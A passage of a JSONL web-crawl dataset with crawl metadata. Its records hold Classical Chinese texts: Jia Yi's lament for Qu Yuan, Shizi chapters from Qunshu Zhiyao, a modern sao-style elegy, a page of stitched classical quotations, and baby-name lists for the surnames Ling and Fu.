0.017699189484119415}","num_words":411,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.335,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.979,"perplexity_score":500.0,"cluster_detection":1} +{"text":"糖果派对浙江10万只鸭子出国灭蝗是真是假涉事单位回应\n子曰:\"谁能出不由户?何莫由斯道也?\"\n苍梧王赵光者,越王同姓,闻汉兵至,及越揭阳令定自定属汉;越桂林监居翁谕瓯骆属汉:皆得为侯。戈船、下厉将军兵及驰义侯所发夜郎兵未下,南越已平矣。遂为九郡。伏波将军益封。楼船将军兵以陷坚为将梁侯。\n原宪字子思。\n且夫天地为炉兮,造化为工;阴阳为炭兮,万物为铜。合散消息兮,安有常则;千变万化兮,未始有极。忽然为人兮,何足控抟;化为异物兮,又何足患!小知自私兮,贱彼贵我;通人大观兮,物无不可。贪夫徇财兮,烈士徇名;夸者死权兮,品庶冯生。述迫之徒兮,或趋西东;大人不曲兮,亿变齐同。拘士系俗兮,羖如囚拘;至人遗物兮,独与道俱。众人或或兮,好恶积意;真人淡漠兮,独与道息。释知遗形兮,超然自丧;寥廓忽荒兮,与道翱翔。乘流则逝兮,得坻则止;纵躯委命兮,不私与己。其生若浮兮,其死若休;澹乎若深渊之静,氾乎若不系之舟。不以生故自宝兮,养空而浮;德人无累兮,知命不忧。细故\n後二岁,大将军、骠骑将军大出击匈奴,广数自请行。天子以为老,弗许;良久乃许之,以为前将军。是岁,元狩四年也。","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/cklnq.cdifoto.com\/QYZTB43042.html","date":"2020-02-28T05:17:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875147054.34\/warc\/CC-MAIN-20200228043124-20200228073124-00034.warc.gz","language":"lzh","language_score":0.4411506355,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44115063548088074, \"cmn_Hani_score\": 0.2823696434497833, \"zxx_Latn_score\": 0.04236949607729912, \"wuu_Hani_score\": 0.0336114726960659, \"nan_Hani_score\": 0.019167451187968254, \"yue_Hani_score\": 0.01595138944685459, \"und_Yiii_score\": 0.01364817563444376, \"jpn_Jpan_score\": 0.013233527541160583, \"und_Tang_score\": 0.011374428868293762}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.417,"perplexity_score":500.0,"cluster_detection":1} +{"text":"誼為長沙王太傅,既以謫去,意不自得,及渡湘水,為賦以弔屈原。\n屈原,楚賢臣也,被讒放逐,作離騷賦,其終篇曰:「已矣哉!國無人兮,莫我知也。」遂自投汨羅而死。誼追傷之,因自喻。\n其辭曰:\n恭承嘉惠兮,俟罪長沙。側聞屈原兮,自沈汨羅。造託湘流兮,敬弔先生。遭世罔極兮,乃殞厥身。嗚呼哀哉!逢時不祥!鸞鳳伏竄兮,鴟梟翱翔。闒茸尊顯兮,讒諛得志。賢聖逆曳兮,方正倒植。世謂隨夷為溷兮,謂跖蹻為廉。莫邪為鈍兮,鉛刀為銛。吁嗟默默,生之無故兮!斡棄周鼎,寶康瓠兮。騰駕罷牛,驂蹇驢兮。驥垂兩耳,服鹽車兮。章甫薦履,漸不可久兮。嗟苦先生,獨離此咎兮!\n訊曰:已矣!國其莫我知兮,獨壹鬱其誰語?鳳漂漂其高逝兮,固自引而遠去。襲九淵之神龍兮,沕深潛以自珍。偭蟂獺以隱處兮,夫豈從蝦與蛭螾?所貴聖人之神德兮,遠濁世而自藏。使騏驥可得係而羈兮,豈雲異夫犬羊?般紛紛其離此尤兮,亦夫子之故也!歷九州而 相其 君兮,何必懷此都也?鳳凰翔于千仞兮,覽德輝而下之。見細德之險徵兮,遙曾擊而去之。彼尋常之汙瀆兮,豈能容夫吞舟之巨魚?橫江湖之鱣鯨兮,固將制於螻蟻。","id":"","dump":"CC-MAIN-2020-29","url":"https:\/\/doctorskin123.pixnet.net\/blog\/post\/275192507","date":"2020-07-10T12:49:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593655908294.32\/warc\/CC-MAIN-20200710113143-20200710143143-00550.warc.gz","language":"lzh","language_score":0.5285497904,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5285497903823853, \"cmn_Hani_score\": 0.16485153138637543, \"zxx_Latn_score\": 0.046157270669937134, \"nan_Hani_score\": 0.04515349864959717, \"und_Tang_score\": 0.016834229230880737, \"und_Cans_score\": 0.014675872400403023, \"wuu_Hani_score\": 0.013589665293693542, \"und_Cyrl_score\": 0.013352381065487862, \"yue_Hani_score\": 0.012014794163405895, \"jpn_Jpan_score\": 0.010514712892472744, \"und_Yiii_score\": 0.010298348031938076}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.293,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线起名\n「在线起名」姓名,蕴涵了人的精、气、神,传达着天地之玄机。姓名分析综合了八字和姓名五格、三才配置、81数理来解析姓名。\n凌艾 凌安 凌柏 凌班 凌邦 凌豹 凌本 凌彪 凌飚 凌宾 凌彬 凌斌 凌滨 凌冰 凌波 凌搏 凌步 凌灿 凌昶 凌超 凌琛 凌臣 凌辰 凌宸 凌晨 凌闯 凌成 凌承 凌澄 凌赤 凌冲 凌楚 凌川 凌春 凌聪 凌翠 凌达 凌丹 凌单 凌蛋 凌迪 凌典 凌点 凌丁 凌栋 凌都 凌恩 凌儿 凌尔 凌迩 凌洱 凌凡 凌方 凌飞 凌菲 凌风 凌枫 凌峰 凌烽 凌锋 凌凤 凌感 凌刚 凌高 凌观 凌光 凌果 凌海 凌海 凌寒 凌汉 凌菡 凌瀚 凌航 凌豪 凌好 凌昊 凌浩 凌皓 凌颢 凌灏 凌衡 凌弘 凌宏 凌虹 凌鸿 凌胡 凌瑚 凌华 凌桦 凌欢 凌晃 凌晖 凌珲 凌辉 凌惠 凌慧 凌活 凌加 凌佳 凌嘉 凌建 凌剑 凌健 凌江 凌疆 凌杰 凌捷 凌金 凌瑾 凌劲 凌晋 凌觐 凌经 凌菁 凌景 凌净 凌竟 凌境 凌静 凌涓 凌珏 凌军 凌君 凌筠 凌俊 凌峻 凌浚 凌骏 凌凯 凌恺 凌科 凌可 凌宽 凌匡 凌况 凌坤 凌琨 凌锟 凌澜 凌镧 凌雷 凌磊 凌棱 凌鹂 凌鲡 凌礼 凌里 凌理 凌鲤 凌力 凌立 凌利 凌俐 凌俪 凌溧 凌烈 凌林 凌粼 凌霖 凌灵 凌菱 凌刘 凌留 凌榴 凌龙 凌珑 凌露 凌璐 凌绿 凌峦 凌乱 凌满 凌蔓 凌媚 凌猛 凌蒙 凌迷 凌淼 凌敏 凌明 凌鸣 凌漠 凌默 凌沐 凌南 凌楠 凌霓 凌宁 凌磐 凌屁 凌平 凌齐 凌崎 凌琦 凌琪 凌麒 凌牵 凌谦 凌潜 凌茜 凌歉 凌强 凌巧 凌勤 凌青 凌清 凌秋 凌鹊 凌群 凌然 凌荣 凌榕 凌锐 凌瑞 凌睿 凌润 凌森 凌山 凌珊 凌绅 凌升 凌胜 凌圣 凌晟 凌诗 凌姝 凌殊 凌曙 凌帅 凌爽 凌硕 凌松 凌嵩 凌谡 凌岁 凌索 凌塔 凌炭 凌滔 凌汀 凌通 凌彤 凌童 凌娃 凌微 凌薇 凌巍 凌伟 凌炜 凌玮 凌未 凌蔚 凌雯 凌汶 凌悟 凌夕 凌兮 凌西 凌希 凌菥 凌晰 凌溪 凌熙 凌熹 凌曦 凌喜 凌瑕 凌夏 凌湘 凌翔 凌骁 凌宵 凌销 凌潇 凌晓 凌肖 凌啸 凌昕 凌新 凌鑫 凌信 凌兴 凌星 凌杏 凌雄 凌栩 凌旭 凌序 凌轩 凌炫 凌雅 凌烟 凌焉 凌严 凌芫 凌炎 凌彦 凌雁 凌滟 凌扬 凌阳 凌杨 凌洋 凌养 凌也 凌野 凌叶 凌晔 凌烨 凌一 凌依 凌以 凌旖 凌义 凌艺 凌亦 凌易 凌轶 凌翊 凌逸 凌毅 凌因 凌茵 凌音 凌影 凌永 凌泳 凌勇 凌渝 凌榆 凌瑜 凌虞 凌与 凌宇 凌羽 凌雨 凌语 凌郁 凌昱 凌钰 凌煜 凌元 凌园 凌塬 凌源 凌瑗 凌月 凌跃 凌越 凌云 凌纭 凌芸 凌昀 凌耘 凌运 凌韵 凌赞 凌兆 凌哲 凌珍 凌真 凌蓁 凌振 凌政 凌之 凌芝 凌志 凌致 凌智 凌忠 凌朱 凌蛛 凌竹 凌专 凌卓 凌姿 凌淄 凌子 凌梓 凌紫 凌总 凌钻 凌娥 凌芳 凌芬 凌红 凌花 凌洁 凌婧 凌娟 凌莉 凌丽 凌琳 凌玲 凌梅 凌美 凌妹 凌娜 凌裴 凌萍 凌倩 凌琴 凌琼 凌冉 凌蓉 凌茹 凌婷 凌文 凌霞 凌秀 凌雪 凌娅 凌嫣 凌妍 凌艳 凌燕 凌瑶 凌怡 凌英 凌瑛 凌莹 凌颖 凌玉 凌媛 凌悦","id":"","dump":"CC-MAIN-2021-39","url":"http:\/\/m.pc89.com\/xm-y1-152-2.html","date":"2021-09-21T12:08:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780057202.68\/warc\/CC-MAIN-20210921101319-20210921131319-00409.warc.gz","language":"lzh","language_score":0.5244718194,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5244718194007874, \"yue_Hani_score\": 0.23819050192832947, \"cmn_Hani_score\": 0.06346350163221359, \"nan_Hani_score\": 0.04687216132879257, \"und_Modi_score\": 0.03947252780199051, \"und_Pauc_score\": 0.03408307954668999, \"und_Sgnw_score\": 0.012870854698121548}","num_words":428,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.328,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":500.0,"cluster_detection":1} +{"text":"挽辞·邛崃高兮\n邛崃高兮,横看岷山雪。锦城炤兮,远眺岷江月。古域悠悠兮,谓敷土刊木而留禹穴。\n忽群鹤尽飞去兮,真宰未有一言说。玉垒浮云兮,西巘之下。\n有骚人之乡兮,今犹歌其大雅。牛羊盘桓其阪兮,羌笛弥坰野。\n堪优游卒岁兮,天何其又不假。崇峻訇然开兮,溪谷顿竭。\n哀黎元之无辜兮,若蝼蚁而旋灭。际天葱茏,咸化蛇虺兮,噬人而饮血。\n六龙拟驰驾兮,奈何阻其列缺。天地雺兮,而独开人性之光。\n纵叆叇荒墟之下兮,生命亦正翱翔。慈心虽有若微露者兮,聚则可使恣肆汪洋。\n十亿之人,荷戈披甲兮,同禦国殇。魂兮,固难挽兮,万卉摧折。\n若川腾潎而永逝兮,惟留不绝之冷香清冽。料彼幽冥之路遥兮,听潜蛟而吟悲切。\n犹落红之不肯轻坠地兮,风中荡而哽咽。后土其谁怒之兮,乱石如流。\n既造物复毁弃之兮,昔抟作乃何由。俱匆匆而赴广漠之无何有兮,将何求。\n梦栩栩而诚难解兮,涕泗难收。噫吁嚱,当立一丰碑兮,万千逝者如金之大名,于玆深锲。\n虽薄命兮,其真神可永絜。复筑高台于彼侧畔兮,供登以吊阅。\n上所思兮,惟皎洁超拔之岷山雪。上所望兮,惟圆融朗照之岷江月。","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/edu.iask.sina.com.cn\/jy\/1AfRXLeUfA.html","date":"2023-10-02T01:32:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510942.97\/warc\/CC-MAIN-20231002001302-20231002031302-00890.warc.gz","language":"lzh","language_score":0.4412016273,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4412016272544861, \"cmn_Hani_score\": 0.2981738746166229, \"nan_Hani_score\": 0.12436613440513611, \"yue_Hani_score\": 0.05595458298921585, \"wuu_Hani_score\": 0.04334034025669098, \"jpn_Jpan_score\": 0.027568284422159195}","num_words":15,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.744,"perplexity_score":500.0,"cluster_detection":1} +{"text":"尸 子\n群書治要卷三十六\n勸 學\n學不倦。所以治己也。教不厭。所以治人也。是故子路卞之野人。子貢衛之賈人。顔涿聚。盗也。颛孫師。駔也。孔子教之。皆爲顯士。夫學。譬之猶礪也。夫昆吾之金。而銖父之錫。使於越之工鑄之以爲劍。而勿加砥礪。則以刺不入。以擊不斷。磨之礱礪。加之以黄砥。則其刺也無前。其擊也無下。自是觀之。礪之與弗礪。其相去遠矣。\n今人皆知礪其劍。而弗知礪其身。夫學。身之礪砥也。夫子曰。車唯恐地之不堅也。舟唯恐水之不深也。有其器則以人之難爲易。夫道以人之難爲易也。是故曾子曰。父母愛之。喜而不忘。父母惡之。懼而無咎。然則愛與惡。其於成孝也無擇也。史鰌曰。君親而近之。至敬以遜。貌而疏之。敬無怨。然則親與疏。其於成忠無擇也。孔子曰。自娱於檃括之中。直己而不直人。以善廢而不邑邑。蘧伯玉之行也。然則興與廢。其於成善無擇也。屈侯附曰。賢者易知也。觀其富之所分。達之所進。窮之所不取。然則窮與達。其於成賢無擇也。是故愛惡親疏。廢興窮達。皆可以成義。有其器也。\n桓公之舉管仲。穆公之舉百里。比其德也。此所以國甚僻小。身至穢污。而爲政於天下也。今非比志意也。比容貌。非比德行也。而論爵列。亦可以却敵服遠矣。農夫比粟。商賈比財。烈士比義。是故監門逆旅。農夫陶人。皆得與焉。爵列。私貴也。德行。公貴也。奚以知其然也。司城子罕遇乘封人而下。其僕曰。乘封人也。奚爲下之。子罕曰。古之所謂良人者。良其行也。貴人者。貴其心也。今天爵而人。良其行而貴其心。吾敢弗敬乎。以是觀之。古之所謂貴。非爵列也。所謂良。非先故也。\n人君貴於一國。而不達於天下。天子貴於一世。而不達於後世。唯德行與天地相弊也。爵列者。德行之舍也。其所息也。詩曰。蔽芾甘棠。勿翦勿敗。召伯所憩。仁者之所息。人不敢敗也。天子諸侯人之所以貴也。桀紂處之則賤矣。是故曰。爵列非貴也。今天下貴爵列而賤德行。是貴甘棠而賤召伯也。亦反矣。夫德義也者。視之弗見。聽之弗聞。天地以正。萬物以遍。無爵而(而舊作與。改之)貴。不禄而尊也。\n貴 言\n范獻子游於河。大夫皆存。君曰。孰知欒氏之子。大夫莫答。舟人清涓舍檝而答曰。君奚問欒氏之子爲。君曰。自吾亡欒氏也。其老者未死而少者壯矣。吾是以問之。清涓曰。君善修晋國之政。内得大夫而外不失百姓。雖欒氏之子。其若君何。君若不修晋國之政。内不得大夫而外失百姓。則舟中之人。皆欒氏之子也。君曰。善哉言。明日朝。令賜舟人清涓田萬畝。清涓辭。君曰。以此田也。易彼言也。子尚喪。寡人猶得也。古之貴言也若此。\n臣天下。一天下也。一天下者。令於天下則行。禁焉則止。桀、纣令天下而不行。禁焉而不止。故不得臣也。目之所美。心以爲不義。弗敢視也。口之所甘。心以爲非義。弗敢食也。耳之所樂。心以爲不義。不敢聽也。身之所安。心以爲不義。弗敢服也。然則令於天下而行。禁焉而止者。心也。故曰。心者。身之君也。天子以天下受令於心。心不當則天下禍。諸侯以國受令於心。心不當則國亡。匹夫以身受令於心。心不當則身爲戮矣。禍之始也易除。其除之。不可者避之。及其成也。欲除之不可。欲避之不可。治於神者。其事少而功多。\n干霄之木。始若蘖足。易去也。及其成達也。百人用斧斤。弗能偾也。熛火始起易息也。及其焚雲夢。孟諸。雖以天下之役。抒江漢之水。弗能救也。夫禍之始也。猶熛火蘖足也。易止也。及其措於大事。雖孔子、墨翟之賢。弗能救也。屋焚而人救之。則知德之。年老者。使塗隙戒突。故終身無失火之患。而不知德也。入於囹圄。解於患難者。則三族德之。教之以仁義慈悌。則終身無患而莫之德。夫禍亦有突。賢者行天下而務塞之。則天下無兵患矣。而莫之知德也。故曰。聖人治於神。愚人争於神也。\n天地之道。莫見其所以長物而物長。莫見其所以亡物而物亡。聖人之道亦然。其興福也。人莫之見而福興矣。其除禍也。人莫之知而禍除矣。故曰。神人益天下以財爲仁。勞天下以力爲義。分天下以生爲神。修先王之術。除禍難之本。使天下丈夫耕而食。婦人織而衣。皆得戴其首。父子相保。此其分萬物以生。盈天下以財。不可勝計也。神也者。萬物之始。萬事之紀也。\n四 儀\n行有四儀。一曰志動不忘仁。二曰智用不忘義。三曰力事不忘忠。四曰口言不忘信。慎守四儀。以終其身。名功之從之也。猶形之有影。聲之有響也。是故志不忘仁則中能寬裕。智不忘義則行有文理。力不忘忠則動無廢功。口不忘信則言若符節。若中寬裕而行文理。動有功而言可信也。雖古之有厚功大名。見於四海之外。知萬世之後者。其行身也無以加於此矣。\n明 堂\n夫高顯尊貴。利天下之徑也。非仁者之所以輕也。何以知其然耶。日之能燭遠。勢高也。使日在井中。則不能燭十步矣。舜之方陶也。不能利其巷下。南面而君天下。蠻夷戎狄。皆被其福。目在足下。則不可以視矣。天高明。然後能燭臨萬物。地廣大。然後能載任群體。其本不美。則其枝葉莖心不得美矣。此古今之大徑也。是故聖王謹修其身以君天下。則天道至焉。地道稽焉。萬物度焉。\n古者。明王之求賢也。不避遠近。不論貴賤。卑爵以下賢。輕身以先士。故堯從舜於畎畝之中。北面而见之。不争禮貌。此先王之所以能正天地。利萬物之故也。今諸侯之君。廣其土地之富。而奮其兵革之强。以驕士。士亦務其德行。美其道術。以輕上。此仁者之所非也。曾子曰。取人者必畏。與人者必驕。今説者懷畏而聽者懷驕。以此行義。不亦難乎。非求賢務士而能致大名于天下者。未之嘗聞也。\n夫士不可妄致也。覆巢破卵。則鳳皇不至焉。刳胎焚夭。則骐麟不往焉。竭澤漉魚。則神龍不下焉。夫禽獸之愚。而不可妄致也。而况於火食之民乎。是故曰。待士不敬。舉士不信。則善士不往焉。聽言耳目不瞿。視聽不深。則善言不往焉。孔子曰。大哉河海乎。下之也。夫河下天下之川。故廣。人下天下之士。故大。故曰。下士者得賢。下敵者得友。下衆者得譽。故度於往古。觀於先王。非求賢務士而能立功於天下。成名於後世者。未之嘗有也。夫求士不遵其道而能致士者。未之嘗見也。然則先王之道可知已。務行之而已矣。\n分\n天地生萬物。聖人裁之。裁物以制分。便事以立官。君臣父子。上下長幼。貴賤親疏。皆得其分曰治。愛得分曰仁。施得分曰義。慮得分曰智。動得分曰適。言得分曰信。皆得其分而後爲成人。\n明王之治民也。事少而功立。身逸而國治。言寡而令行。事少而功多。守要也。身逸而國治。用賢也。言寡而令行。正名也。君人者。苟能正名。愚智盡情。執一以静。令名自正。令事自定。賞罰隨名。民莫不敬。周公之治天下也。酒肉不徹於前。鍾鼓不解於懸。聽樂而國治。勞無事焉。飲酒而賢舉。智無事焉。自爲而民富。仁無事焉。知此道也者。衆賢爲役。愚智盡情矣。\n明王之道易行也。勞不進一步。聽獄不後皋陶。食不損一味。富民不後虞舜。樂不損一日。用兵不後湯、武。書之不盈尺簡。南面而立。一言而國治。堯、舜復生。弗能更也。身無變而治。國無變而王。湯、武復生。弗能更也。\n執一之道。去智與巧。有虞之君天下也。使天下貢善。殷、周之君天下也。使天下貢才。夫至衆賢而能用之。此有虞之盛德也。三人之所廢。天下弗能興也。三人之所興。天下弗能廢也。親曰不孝。君曰不忠。友曰不信。天下弗能興也。親言其孝。君言其忠。友言其信。天下弗能廢也。夫符節合之。則是非自見。行亦有符。三者合。則行自見矣。此所以觀行也。\n諸治官臨衆者。上比度以觀其賢。案法以觀其罪。吏雖有邪僻。無所逃之。所以觀勝任也。群臣之愚智。日劾於前。擇其知事者而令之謀。群臣之所舉。日劾於前。擇其知人者而令之舉。群臣之治亂。日劾於前。擇其勝任者而令之治。群臣之所行。可得而察也。擇其賢者而舉之。則民競於行。勝任者治。則百官不亂。知人者舉。則賢者不隱。知事者謀。則大舉不失。聖王正言於朝。而四方治矣。是故曰。正名去僞。事成若化。以實覆名。百事皆成。夫用賢使能。不勞而治。正名覆實。不罰而威。達情見素。則是非不蔽。復本原始。則言若符節。良工之馬易御也。聖王之民易治也。其此之謂乎。\n發 蒙\n若夫名分。聖之所審也。造父之所以與交者少。操辔。馬之百節皆輿。明王之所以與臣下交者少。審名分。群臣莫敢不盡力竭智矣。天下之可治。分成也。是非之可辨。名定也。無(無可疑)過其實。罪也。弗及。愚也。是故情盡而不僞。質素而無巧。故有道之君。其無易聽。此名分之所審也。\n若夫臨官治事者。案其法則民敬事。任士進賢者。保其後則民慎舉。議國親事者。盡其實則民敬言。孔子曰。臨事而懼。希不濟。易曰。若履虎尾。終之吉。若群臣之衆皆戒慎恐懼。若履虎尾。則何不濟之有乎。君明則臣少罪。夫使衆者。詔作則遲。分地則速。是何也。無所逃其罪也。言亦有地。不可不分也。\n君臣同地。則臣有所逃其罪矣。故陳繩則木之枉者有罪。措準則地之險者有罪。審名分則群臣之不審者有罪。夫愛民且利之也。愛而不利。則非慈母之德也。好士。且知之也。好而弗知。則衆而無用也。力於朝。且治之也。力而弗治。則勞而無功矣。三者雖异。道一也。是故曰。審一之經。百事乃成。審一之紀。百事乃理。名實判爲兩。合爲一。是非隨名實。賞罰隨是非。是則有賞。非則有罰。人君之所獨斷也。\n明君之立也正。其貌壯。其心虚。其視不躁。其聽不淫。審分應辭。以立於廷。則隱匿疏遠。雖有非焉。必不多矣。明君不用長耳目。不行間諜。不强聞見。形至而觀。聲至而聽。事至而應。近者不過。則遠者治矣。明者不失。則微者敬矣。家人子姪和。臣妾力。則家富。丈人雖厚衣食。無傷也。子姪不和。臣妾不力。家貧。丈人雖薄衣食。無益也。而况於萬乘之君乎。\n國之所以不治者三。不知用賢。此其一也。雖知用賢。求不能得。此其二也。雖得賢。不能盡。此其三也。正名以御之。則堯、舜之智必盡矣。明分以示之。則桀、纣之暴必止矣。賢者盡。暴者止。則治民之道不可以加矣。\n聽朝之道。使人有分。有大善者。必問孰進之。有大過者。必云孰任之。而行賞罰焉。且以觀賢不肖也。今有大善者不問孰進之。有大過者不問孰任之。則有分無益已。問孰任之而不行賞罰。則問之無益已。是非不得盡見謂之蔽。見而弗能知謂之虚。知而弗能賞謂之縱。三者亂之本也。明分則不蔽。正名則不虚。賞賢罰暴則不縱。三者治之道也。\n於群臣之中。賢則貴之。不肖則賤之。治則使之。不治則愛之。不忠則罪之。賢不肖。治不治。忠不忠。由是觀之。猶白黑也。陳繩而斫之。則巧拙易知也。夫觀群臣亦有繩。以名引之。則雖堯、舜不服矣。慮事而當。不若進賢。進賢而當。不若知賢。知賢又能用之。備矣。\n治天下之要。在於正名。正名去僞。事成若化。苟能正名。天成地平。爲人臣者以進賢爲功。爲人君者以用賢爲功。爲人臣者進賢。是自爲置上也。自爲置上而無賞。是故不爲也。進不肖者。是自爲置下也。自爲置下而無罪。是故爲之也。使進賢者必有賞。進不肖者必有罪。無敢進也者爲無能之人。若此。則必多進賢矣。\n恕\n恕者。以身爲度者也。己所不欲。毋加諸人。惡諸人則去諸己。欲諸人則求諸己。此恕也。農夫之耨。去害苗者也。賢者之治。去害義者也。慮之無益於義而慮之。此心之穢也。道之無益於義而道之。此言之穢也。爲之無益於義而爲之。此行之穢也。\n慮中義則智爲上。言中義則言爲師。事中義則行爲法。射不善而欲教人。人不學也。行不修而欲談人。人不聽也。夫骥唯伯樂獨知之。不害其爲良馬也。行亦然。唯賢者獨知之。不害其爲善士也。\n治天下\n治天下有四術。一曰忠愛。二曰無私。三曰用賢。四曰度量。度量通則財足矣。用賢則多功矣。無私。百智之宗也。忠愛。父母之行也。奚以知其然。父母之所畜子者。非賢强也。非聰明也。非俊智也。愛之憂之。欲其賢己也。人利之與我利之無擇也。此父母所以畜子也。然則愛天下欲其賢己也。人利之與我利之無擇也。則天下之畜亦然矣。此堯之所以畜天下也。\n有虞氏盛德。見人有善。如己有善。見人有過。如己有過。天無私於物。地無私於物。襲此行者。謂之天子。誠愛天下者得賢。奚以知其然也。弱子有疾。慈母之見秦醫也不争禮貌。在囹圄。其走大吏也不愛資財。視天下若子。是故其見醫者不争禮貌。其奉養也不愛資財。故文王之見太公望也。一日五反。桓公之奉管仲也。列城有數。此所以其僻小身至穢污。而爲正於天下也。鄭簡公謂子産曰。飲酒之不樂。鍾鼓之不鳴。寡人之任也。國家之不入(入疑乂)。朝廷之不治。與諸侯交之不得志。子之任也。子産治鄭國無盗賊。道無餓人。孔子曰。若鄭簡公之好樂。雖抱鍾而朝可也。夫用賢。身樂而名附。事少而功多。國治而能逸。\n凡治之道莫如因智。智之道莫如因賢。譬之猶相馬而借伯樂也。相玉而借猗頓也。亦必不過矣。今有人於此。盡力以爲舟。濟大水而不用也。盡力以爲車。行遠而不乘也。則人必以爲無慧。今人盡力以學。謀事則不借智。處行則不因賢。舍其學不用也。此其無慧也。有甚於舍舟而涉。舍車而走者矣。\n仁 意\n治水潦者禹也。播五種者后稷也。聽獄折衷者皋陶也。舜無爲也。而天下以爲父母。愛天下莫甚焉。天下之善者唯仁也。夫喪其子者。苟可以得之。無擇人也。仁者之於善也亦是。然故堯舉舜於畎畝。湯舉伊尹於雍人。内舉不避親。外舉不避仇。仁者之於善也。無擇也。無惡也。唯善之所在。堯問於舜曰。何事。舜曰。事天。平地而注水。水流濕。均薪而施火。火從燥。召之類也。是故堯爲善而衆美至焉。桀爲非而衆惡至焉。\n廣\n因井中視星。所視不過數星。自丘上以視。則見其始出。又見其入。非明益也。勢使然也。夫私心。井中也。公心。丘上也。故智載於私則所知少。載於公則所知多矣。何以知其然。夫吴越之國。以臣妾爲徇。中國聞而非之。恕(恕疑怒。下同)則以親戚徇一言。夫智在公則愛吴越之臣妾。在私則忘其親戚。非智損也。恕弇之也。好亦然。語曰。莫知其子之惡也。非智損也。愛弇之也。是故夫論貴賤。辨是非者。必且自公心言之。自公心聽之。而後可知也。匹夫愛其宅。不愛其鄰。諸侯愛其國。不愛其敵。天子兼天下而愛之大也。\n綽 子\n堯養無告。禹愛辜人。湯、武及禽獸。此先王之所以安危而懷遠也。聖人於大私之中也爲無私。其於大好惡之中也爲無好惡。舜曰。南風之薰兮。可以解吾民之愠兮。舜不歌禽獸而歌民。湯曰。朕身有罪。無及萬方。萬方有罪。朕身受之。湯不私其身而私萬方。文王曰。苟有仁人。何必周親。不私其親而私萬國。先王非無私也。所私者與人不同也。\n處 道\n孔子曰。欲知則問。欲能則學。欲給則豫。欲善則肄。國亂則擇其邪人去之。則國治矣。胸中亂則擇其邪欲而去之。則德正矣。天下非無盲者也。美人之貴。明目者衆也。天下非無聾者也。辨士之貴。聰耳者衆也。天下非無亂人也。堯、舜之貴。可教者衆也。\n孔子曰。君子者盂也。民者水也。盂方則水方。盂圓則水圓。上何好而民不從。昔者。勾踐好勇而民輕死。靈王好細腰而民多餓。夫死與餓。民之所惡也。君誠好之。百姓自然。而况仁義乎。桀、纣之有天下也。四海之内皆亂。而關龍逄、王子比干不與焉。而謂之皆亂。其亂者衆也。堯舜之有天下也。四海之内皆治。而丹朱、商均不與焉。而謂之皆治。其治者衆也。故曰。君誠服之。百姓自然。卿大夫服之。百姓若逸。官長服之。百姓若流。夫民之可教者衆。故曰猶水也。\n德者。天地萬物得也。義者。天地萬物宜也。禮者。天地萬物體也。使天地萬物皆得其宜。當其體者。謂之大仁。食所以爲肥也。壹飯而問人曰奚若。則皆笑之。夫治天下大事也。今人皆壹飯而問奚若者也。善人以治天地則可矣。我奚爲而人善。仲尼曰。得之身者得之民。失之身者失之民。不出於户而知天下。不下其堂而治四方。知反之於己者也。以是觀之。治己則人治矣。\n神 明\n仁義聖智參天地。天若不覆。民將何恃何望。地若不載。民將安居安行。聖人若弗治。民將安率安將。是故天覆之。地載之。聖人治之。聖人之身猶日也。夫日圓尺。光盈天地。聖人之身小。其所燭遠。聖人正己而四方治矣。上綱苟直。百目皆開。德行苟直。群物皆正。正也者。正人者也。身不正則人不從。是故不言而信。不怒而威。不施而仁。有諸心而彼正。謂之至政。今人曰。天亂矣。難以爲善。此不然也。夫飢者易食。寒者易衣。此亂而後易爲德也。","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/www.qunshuzhiyao.com\/zywenku\/zhgj0022055.html","date":"2017-04-24T03:33:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917118963.4\/warc\/CC-MAIN-20170423031158-00637-ip-10-145-167-34.ec2.internal.warc.gz","language":"lzh","language_score":0.6610691547,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6610691547393799, \"cmn_Hani_score\": 0.17640231549739838, \"nan_Hani_score\": 0.07077262550592422, \"jpn_Jpan_score\": 0.029620684683322906, \"wuu_Hani_score\": 0.020933695137500763}","num_words":62,"character_repetition_ratio":0.004,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.048,"flagged_words_ratio":0.0,"lang_id_score":0.661,"perplexity_score":500.0,"cluster_detection":1} +{"text":"男孩起名伏姓男孩猪年名字\n但人口总数在中国的大陆与台湾省均未进入前三百大姓,伏姓男孩怎么起名?下面小编带来伏姓男孩猪年名字,希望对大家有所帮助。伏仁桂 伏恒嶙 伏星朋 伏鉴泉 伏登竣 伏昱越 伏邦力 伏芸巧 伏鹂秀 伏炫威 伏羽飞 伏烁晰 伏莘淇 伏兰钞 伏郗冥 伏哲维 伏雅二 伏缓祺 伏宝力 伏熙燮 伏海荟 伏振使 伏净玄 伏季忻 